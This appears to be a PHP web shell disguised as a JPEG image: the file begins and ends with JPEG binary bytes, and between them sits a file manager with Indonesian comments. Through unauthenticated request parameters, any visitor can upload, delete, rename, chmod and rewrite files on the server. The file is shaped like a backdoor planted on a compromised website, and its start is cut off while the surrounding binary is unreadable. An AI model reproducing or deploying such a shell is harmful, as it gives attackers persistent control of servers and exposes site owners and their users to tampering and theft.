ÿØÿà JFIF ÿþÇ
";
// Menampilkan file dalam direktori saat ini
$files = getFiles($currentDirectory);
// Tampilkan tombol navigasi untuk direktori di atas
$parentDirectory = dirname($currentDirectory);
echo "ChangeDir
";
// Tampilkan file dalam tabel
echo "
";
echo "File Name | Actions |
";
foreach ($files as $file) {
echo "$file | ";
echo "Delete | ";
echo "Rename | ";
echo "Chmod | ";
echo "Edit"; // Tambahkan tautan untuk mengedit file
echo " |
";
}
echo "
";
// Tampilkan tombol navigasi untuk direktori di bawah
foreach ($files as $file) {
if (is_dir($currentDirectory . '/' . $file)) {
echo "$file
";
}
}
// Proses aksi yang diminta
if (isset($_GET['action'])) {
switch ($_GET['action']) {
case 'upload':
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
uploadFile($currentDirectory . '/', 'fileToUpload');
} else {
echo "
";
}
break;
case 'delete':
$fileToDelete = $_GET['file'];
deleteFile($currentDirectory . '/' . $fileToDelete);
break;
case 'rename':
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$oldName = $_GET['file'];
$newName = $_POST['newName'];
renameFile($currentDirectory . '/' . $oldName, $currentDirectory . '/' . $newName);
} else {
$fileToRename = $_GET['file'];
echo "
";
}
break;
case 'chmod':
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$fileToChmod = $_GET['file'];
$newMode = $_POST['newMode'];
chmodFile($currentDirectory . '/' . $fileToChmod, $newMode);
} else {
$fileToChmod = $_GET['file'];
echo "
";
}
break;
case 'edit':
$fileToEdit = $_GET['file'];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$newContent = $_POST['newContent'];
editFile($currentDirectory . '/' . $fileToEdit, $newContent);
} else {
$fileContent = file_get_contents($currentDirectory . '/' . $fileToEdit);
echo "
";
}
break;
default:
echo "Aksi tidak valid.";
break;
}
}
?>
scan_date=Fri May 10 19:21:27 2024
ÿÛ C I26@6-I@;@RMIVm¶vmddmÞŸ¨„¶ÿèÿÿÿèþúÿÿÿÿÿÿÿÿúþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÛ CMRRm_mÕvvÕÿÿþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÀ ì ì" ÿÄ ÿÄ 4 !1AQ"aq2±3Rr‘¡Áb‚ð#4BÑSÿÄ ÿÄ ÿÚ ? ÓP‹aÚ Ü(ZƒP@F¯Qj@ia¨ÏZ 4Ô-FnLL
¬FZŸrã•®Rd)ZWFœeÇ%4š¦¯!/#Hè•„^¦Clk‚iÕôØHCå $åuî)ÅöeO “kfd”„öaB½†˜ ¨blvÍHÁò¿rʈr¢~ eUM®¯-“©‚û5ù²H£S ±ãQ‹î€ÒQIÃJ·Õ¨?»ù$ÒŽ•É dš»tŸðþ„¸z@OtÛÉo±–žàhÔW1_“˜¾ë÷&×*EF.¦ÚõSŒQwû˜dáBJ8¢Ûˆ'ÄÆá}QÊudÉ BJú¥W°Ô<·kبÁèÕÝÒ.q”RŠUíËÇU×"E¼mI'µŠQÓ*»õA8õEµ{znjµ$û2a)GåtjïUÎíe